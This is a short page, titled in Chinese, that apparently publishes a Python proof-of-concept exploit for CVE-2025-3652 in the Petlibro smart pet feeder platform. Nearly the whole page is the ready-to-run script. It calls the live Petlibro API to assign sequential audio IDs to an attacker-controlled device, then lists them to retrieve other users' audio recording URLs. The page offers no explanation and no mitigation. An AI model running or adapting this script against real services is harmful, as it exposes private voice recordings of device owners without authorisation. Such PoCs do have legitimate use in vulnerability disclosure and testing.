CVE-2025-3652 Petlibro智能宠物喂食器音频信息泄露漏洞

import requests # CVE-2025-3652 PoC - Petlibro Audio Information Disclosure # Target: Petlibro Smart Pet Feeder Platform <= 1.7.31 TARGET_HOST = "https://api.petlibro.com" ATTACKER_DEVICE_ID = "attacker_device_id_here" TARGET_AUDIO_ID = 1 # Starting from sequential ID def assign_audio_to_device(audio_id, device_id): """Assign arbitrary audio ID to attacker's device via vulnerable endpoint""" endpoint = f"{TARGET_HOST}/device/deviceAudio/use" payload = { "audioId": audio_id, "deviceId": device_id } response = requests.post(endpoint, json=payload) return response def get_audio_url(device_id): """Retrieve audio URL after assignment""" endpoint = f"{TARGET_HOST}/device/deviceAudio/list" params = {"deviceId": device_id} response = requests.get(endpoint, params=params) if response.status_code == 200: data = response.json() return data.get("audioUrl") return None def exploit(): print("[*] Starting CVE-2025-3652 exploitation...") for audio_id in range(1, 100): # Enumerate audio IDs print(f"[*] Trying audio ID: {audio_id}") assign_resp = assign_audio_to_device(audio_id, ATTACKER_DEVICE_ID) if assign_resp.status_code == 200: audio_url = get_audio_url(ATTACKER_DEVICE_ID) if audio_url: print(f"[!] Found accessible audio: {audio_url}") return audio_url print("[*] Exploitation complete") if __name__ == "__main__": exploit()